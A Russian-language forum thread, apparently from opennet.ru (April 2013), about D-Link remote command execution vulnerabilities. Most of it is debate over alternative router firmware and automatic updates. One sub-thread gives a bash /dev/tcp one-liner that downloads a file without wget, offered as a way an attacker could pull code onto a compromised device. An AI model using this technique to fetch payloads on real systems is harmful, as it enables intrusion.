Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы		[ Отслеживать ]

Уязвимости в устройствах D-Link, позволяющие удалённо выполн..., opennews (??), 09-Апр-13, (0) [смотреть все] Спросите у Олега , Аноним (-), 10:28 , 09-Апр-13, (2) +14 // Лучше у Васи, Нанобот (?), 10:51 , 09-Апр-13, (11) –16 Лучше у openwrt Олег уже мнооого лет не обновляется И прошивки-деривативы осно, Аноним (-), 12:00 , 09-Апр-13, (28) +3 // http code google com p wl500g , Аноним (-), 21:17 , 09-Апр-13, (64) // Даже название - от доисторической модели роутера взяли Ну и остальное там такое, Аноним (-), 15:56 , 10-Апр-13, (70) Дык и что, что доисторической, зато одной из самых толковых , nor (?), 16:13 , 12-Апр-13, (115) А что за Олег такой , anonymous (??), 13:54 , 09-Апр-13, (43) // Имеются в виду прошивки от Олега Базировались на каких-то ископаемостях G, Аноним (-), 16:37 , 09-Апр-13, (52) +6 // Спасибо , anonymous (??), 19:55 , 09-Апр-13, (62) OpenWrt рулит Во всяком случае на TP-Link , lucentcode (ok), 19:01 , 09-Апр-13, (59) +2 // И не только там Как минимум на atheros-based оно the best , Аноним (-), 16:01 , 10-Апр-13, (71) я вас разочарую, это можно сделать и без wget, Аноним (-), 10:36 , 09-Апр-13, (5) +2   // Как Если можно только доступные в shell команды запускать , Аноним (-), 10:40 , 09-Апр-13, (6) –2   // echo bla bla tmp bla, Oleh (ok), 10:49 , 09-Апр-13, (8) +2   например так WGET_HOSTNAME ftp gnu org exec HTTP_FD dev tcp WGET_HOSTNAME, ggi (?), 10:45 , 17-Апр-13, (125)   Производителям сетевых устройств рекомендуется незамедлительно начать разрабатыв, Int (?), 10:57 , 09-Апр-13, (13) +3 // у некоторых уже есть , Клыкастый (ok), 11:01 , 09-Апр-13, (14) Вот как раз автоматического обновления нам не надо, для этого нам достаточно вин, blablabla (ok), 11:13 , 09-Апр-13, (18) // Вам не надо, а нам надо - и чего А зачем вы строите стратегически важную инфрас, Int (?), 11:45 , 09-Апр-13, (21) +2 // Теория заговора тут вообще не катит Докажу Не думаю, что вероятного противника , SCI (?), 12:01 , 09-Апр-13, (29) +2 Как бы реанимировать несколько десятков роутеров - проще чем несколько миллионов, Аноним (-), 16:44 , 09-Апр-13, (53) Еще раз - эти миллионы хомячных устройств нахрен никому не сдались и к ущербу дл, Аноним (-), 19:58 , 11-Апр-13, (94) Вон там гражданин ботнет на миллион хостов собрал Такой в принципе завалит все , Аноним (-), 20:13 , 11-Апр-13, (96) Это, кстати, никак не влияет ни на безопасность, ни на качество, ни на поддержку, Аноним (-), 20:16 , 11-Апр-13, (97) Случись третья мировая вам это России, что ли кирдык в любом случае - техноло, Crazy Alex (??), 12:28 , 09-Апр-13, (38) –1 // Афганцы, чеченцы и колумбийцы с интересом ознакомились с вашим мнением , Аноним (-), 12:47 , 09-Апр-13, (41) +6 Как показывает опыт мировых войн, интересы небольших стран и народов учитываются, ffirefox (?), 05:47 , 10-Апр-13, (69) +1 Как показывает опыт мировых войн, мелкие союзники предпочтительно используются в, Аноним (-), 20:00 , 11-Апр-13, (95) Пруфлинк можно , anonymous (??), 13:55 , 09-Апр-13, (44) +1 // Было дело, в XP апдейтер апдейтился даже если соотвествующие настройки отключены, Аноним (-), 16:22 , 09-Апр-13, (51) XP У меня Ubuntu , ИГ (?), 19:20 , 09-Апр-13, (60) –1 Новость дня , anonymous (??), 19:56 , 09-Апр-13, (63) Ну, вам повезло, у вас такой подставы не будет , Аноним (-), 16:02 , 10-Апр-13, (72) и вместо рака будет грыжа Прикольно будет если у вас девайс убьется обновлени, Аноним (-), 11:43 , 09-Апр-13, (20) // Прикольно не будет, а прикольно уже сейчас, когда пользователь SOHO рынка вынуж, Int (?), 11:49 , 09-Апр-13, (22) –1 // Действительно, при случае будет просто факап и визит в гарантийку Что явно хуже, Аноним (-), 11:54 , 09-Апр-13, (24) Алилуйя - как это мешает компаниям реализовывать репозитарии прошивок для реализ, Int (?), 12:00 , 09-Апр-13, (27) Никак, только учитывая ж порукость их програмеров и цели производителей - это со, Аноним (-), 12:04 , 09-Апр-13, (31) Подозреваю за такой фокус с ним можно будет отсудить очень много денег всем поль, Lain_13 (ok), 14:28 , 09-Апр-13, (46) И как, много уже у гугель и эпплов поотсудили И софта с рекламой там навалом Н, Аноним (-), 16:20 , 09-Апр-13, (50) Одно дело софт с рекламой в себе, а совсем другое 8212 софт, который вставляе, Lain_13 (ok), 18:14 , 09-Апр-13, (57) Простите, а с чего вы взяли что это вы определяете что должно быть Пока-что п, Аноним (-), 16:03 , 10-Апр-13, (73) Приложение лезущее в память или данные других приложений без разрешения пользова, Lain_13 (ok), 18:10 , 10-Апр-13, (77) Что-то под ведроидом софт ведет себя как проститутка, а сам ведро-девайс норовит, Аноним (-), 00:01 , 11-Апр-13, (83) Ещё раз для особо одарённых Программы имеют полное право показывать рекламу во , Lain_13 (ok), 09:39 , 11-Апр-13, (88) –1 А как по моему мнению - если меня о таком не предупредили то это классифицируетс, Аноним (-), 20:19 , 11-Апр-13, (98) Вообще-то это классифицируется как Adware Последнее делится на программы, котор, Lain_13 (ok), 21:58 , 11-Апр-13, (105) Т е подвид малвари Малварью в моем понимании является любая программа которая , Аноним (-), 13:29 , 13-Апр-13, (122) Ну, вроде, с недавних пор можно теперь и Убунту вкатить, и ещё некоторые дистриб, Lain_13 (ok), 20:22 , 13-Апр-13, (124) вот ты сейчас любую ОС описал круто , arisu (ok), 00:19 , 11-Апр-13, (86) +1 С каких пор и какая ОСь модифицирует данные приложений и сами приложения О_оОСь, Lain_13 (ok), 09:44 , 11-Апр-13, (89) любая современная настройка релоков 8212 это уже модификация кода опапулень, arisu (ok), 09:50 , 11-Апр-13, (90) Ну ок, операционные системы исключим Не хочу переформулировать то утверждение ц, Lain_13 (ok), 10:44 , 11-Апр-13, (92) в линуксах, например, загрузчик эльфов 8212 вполне себе приложение его можно, arisu (ok), 12:30 , 11-Апр-13, (93) Бывает и круче Можно взять e glibc и запустить so файл как, натурально, п, Аноним (-), 20:28 , 11-Апр-13, (100) С тех самых Почитай как кернель операционки работает, овощ Что такое системные, Аноним (-), 20:23 , 11-Апр-13, (99) Погоди-погоди, ты слишком глубоко копаешь ОСь управляет блоками с данными, прео, Lain_13 (ok), 22:13 , 11-Апр-13, (106) э 8230 можно увидеть в лицензионном соглашении хотя бы одной ОС пункт, который, arisu (ok), 02:34 , 12-Апр-13, (107) Нет такого пункта, но ты сам её ставил для того, чтоб она выполняла функции, кот, Lain_13 (ok), 02:51 , 12-Апр-13, (108) нет, не так информацию о системе должен предоставлять производитель, особенно е, arisu (ok), 03:01 , 12-Апр-13, (109) Вставку рекламных блоков это не объяснит , Lain_13 (ok), 05:06 , 12-Апр-13, (110) собирают статистику для улучшения сервиса, чо - , arisu (ok), 05:22 , 12-Апр-13, (111) Как раз из-за вами упомянутого логичнее всего если прошивка будет производиться , Int (?), 12:02 , 09-Апр-13, (30) –1 Это как раз наименее логично - и клиент и сервис убивают время и деньги по самом, Аноним (-), 12:08 , 09-Апр-13, (34) +1 Берем современные смартфоны, что айфоны что дройдофоны Там есть штатный механиз, Int (?), 12:06 , 09-Апр-13, (33) Есть некое отличие 1 Подперто аккумулятором Не сильно тупой апдейтер проверяе, Аноним (-), 12:10 , 09-Апр-13, (35) Вы уже проверили вышедшее обновление прошивки из новости на предмет троянов Уве, Int (?), 11:59 , 09-Апр-13, (25) // Вот поэтому надо ставить WRT, а не прошивки от этой чудесной компании , Crazy Alex (??), 12:32 , 09-Апр-13, (39) При работе в режиме бриджа без собственного IP-адреса способ сходу в голову не, qux (ok), 13:36 , 09-Апр-13, (42) +1 Справедливости ради, хакнуть именно бридж, у коего айпишника нет - не очень то и, Аноним (-), 20:31 , 11-Апр-13, (101) Для ADSL bridge, как вариант, локальный айпишник у него есть, а для общения с се, qux (ok), 11:28 , 12-Апр-13, (112) Вот только извне он недоступен, а хоть как-то туда втиснуться - ну то-есть в тео, Аноним (-), 12:52 , 13-Апр-13, (118) Это да Я тут встрял когда было про автоматизированный апдейт девайса, то есть с, qux (ok), 14:12 , 13-Апр-13, (123) Нет Поэтому и юзаю openwrt Это что и нафига Может, мне еще поставить вебкам в, Аноним (-), 16:18 , 09-Апр-13, (49) И где же брать прошивку v1 04b5 для DIR-645 если его нет на оф FTP , ShturmanUA (?), 12:06 , 09-Апр-13, (32) // Лучше скажи где мне найти новую прошивку на dir-300 a1 , Lain_13 (ok), 14:13 , 09-Апр-13, (45) // зачем wrt запретили, что ли , arisu (ok), 01:27 , 10-Апр-13, (66) +1 // Да как-то смотрел на вот это http wiki openwrt org toh d-link dir-300Как-то у, Lain_13 (ok), 03:19 , 10-Апр-13, (67) ничего, это один раз отмучиться, и всё - , arisu (ok), 03:57 , 10-Апр-13, (68) Зато вон в TP-link зато льется вообще прямо из вебмордочки Так, хинт на будущее, Аноним (-), 16:12 , 10-Апр-13, (74) Да, у меня именно это древний кусок мусора Работает, пока устраивает Хотя може, Lain_13 (ok), 18:17 , 10-Апр-13, (78) Просто на современных скоростях интернета указанного там проца будет, мягко гово, Аноним (-), 00:06 , 11-Апр-13, (84) О да, раза два в месяц он у меня гарантированно 171 захлёбывается 187 и уход, Lain_13_too_lazy_to_login (?), 12:56 , 12-Апр-13, (114) А это скорее всего обезьяны из длинка таблицу conntrack указали крупнее чем у де, Аноним (-), 13:08 , 13-Апр-13, (119) в dir-300 rev B, кстати, льётся через веб-морду и через стандартный апдейт и че, Аноним (-), 11:43 , 12-Апр-13, (113) У меня уже давно нет d-link а, борьба с 3-мя моделями закончилась уходом на дру, Сергей (??), 12:24 , 09-Апр-13, (36) –1 // какого какой вообще был смысл писать это сообщение, если не называть на кого им, Xasd (ok), 12:43 , 09-Апр-13, (40) +4 Давно сменил это гагно на Зухель - рад , икака (?), 14:30 , 09-Апр-13, (47) // Осталось сменить Зухель и прочее гуано на Mikrotik За те же деньги а зачастую , px (??), 17:52 , 09-Апр-13, (55) // Зато софт совершенно мудацкий И какими-то лицензиями пытаются барыжить, упорыши, Аноним (-), 16:18 , 10-Апр-13, (75) –1 Dir-300 NRU прошивка Wive-NG-RTNL, роутит под 100 Мбит при минимальной нагрузке , aurved (?), 23:52 , 10-Апр-13, (82) // Только вот у длинка есть туева хуча ревизий и далеко не все из них поддерживаютс, Аноним (-), 20:36 , 11-Апр-13, (104) http gregsowell com wp-content uploads 2012 08 new2011 png, Аноним (-), 18:28 , 10-Апр-13, (79) Я тоже сменил после того как dir-655 начал мне мозг компосировать с SIP ALG как, Аноним (48), 15:35 , 09-Апр-13, (48) Гагага, ждите больше обновлений от длинка Форум на половину состоит из гневых п, Аноним (-), 17:34 , 09-Апр-13, (54) // Походу длинк учится методам работы у почты россии , Аноним (-), 16:38 , 10-Апр-13, (76) TP-Link TL-WR1043ND DD-WRT , Алексей (??), 17:58 , 09-Апр-13, (56) // TP-Link TL-WR1043ND OpenWrt Пашет круглосуточно без нареканий , qqq (??), 20:57 , 10-Апр-13, (80) // И вообще, в новых openwrt морда довольно фичастая , Аноним (-), 20:32 , 11-Апр-13, (102) А это не боян новость не читал , ананис (?), 18:59 , 09-Апр-13, (58) на мой d-link dwl-2100ap новых прошивок нету, наверное все хорошо , Я (??), 19:50 , 09-Апр-13, (61) +1 // dd-wrt, все шикарно, Аноним (-), 21:18 , 09-Апр-13, (65) Есть неплохая прошивка Wive-NG-RTNL, aurved (?), 23:47 , 10-Апр-13, (81) // Вот только она поддерживет полтора чипсета А у длинка в чипсетах - мягко говоря, Аноним (-), 00:08 , 11-Апр-13, (85) +1 // Да, у D-Link в разных хардварных версиях одной и той же модели могут стоять сове, aurved (?), 10:30 , 11-Апр-13, (91) // Фаготы, блин названий моделей им мало - на 1 название по три железки Может они, Аноним (-), 20:35 , 11-Апр-13, (103) Казалось бы, причём тут Opennet , t28 (?), 08:57 , 11-Апр-13, (87) // Угадай, какая операционка в длинках, а так же с чем едять busybox, и где ноги у , pavlinux (ok), 02:41 , 13-Апр-13, (116) // win95 , arisu (ok), 03:22 , 13-Апр-13, (117) // Не, эти ж порукие идиоты умудрились линукс до такого состояния довести Обычно п, Аноним (-), 13:11 , 13-Апр-13, (120) breaking news linux kernel покончил самоубийством, обнаружив, что его собирали , arisu (ok), 13:14 , 13-Апр-13, (121) 2,5,13,32,36,47,48,54,56,58,61,81,87

Сообщения

[Сортировка по времени | RSS]

5. "Уязвимости в устройствах D-Link, позволяющие удалённо выполн..."	+2 +/–
Сообщение от Аноним (-), 09-Апр-13, 10:36
>утилита wget, что позволяет атакующему не только выполнить уже доступные в >операционной системе команды, но и организовать загрузку и выполнение своего кода. я вас разочарую, это можно сделать и без wget
Ответить | Правка | Наверх | Cообщить модератору

	6. "Уязвимости в устройствах D-Link, позволяющие удалённо выполн..."	–2 +/–
	Сообщение от Аноним (-), 09-Апр-13, 10:40
	> я вас разочарую, это можно сделать и без wget Как ? Если можно только доступные в shell команды запускать.
	Ответить | Правка | Наверх | Cообщить модератору

	8. "Уязвимости в устройствах D-Link, позволяющие удалённо выполн..."	+2 +/–
	Сообщение от Oleh (ok), 09-Апр-13, 10:49
	echo bla bla > /tmp/bla
	Ответить | Правка | Наверх | Cообщить модератору

	125. "Уязвимости в устройствах D-Link, позволяющие удалённо выполн..."	+/–
	Сообщение от ggi (?), 17-Апр-13, 10:45
	например так: WGET_HOSTNAME='ftp.gnu.org' exec {HTTP_FD}<>/dev/tcp/${WGET_HOSTNAME}/80 echo -ne 'GET /gnu/wget/wget-latest.tar.gz HTTP/1.1\r\nHost: '\   ${WGET_HOSTNAME}'\r\nUser-Agent: '\   'bash/'${BASH_VERSION}'\r\n\r\n'  >&${HTTP_FD} sed -e '1,/^.$/d' <&${HTTP_FD} >wget-latest.tar.gz
	Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема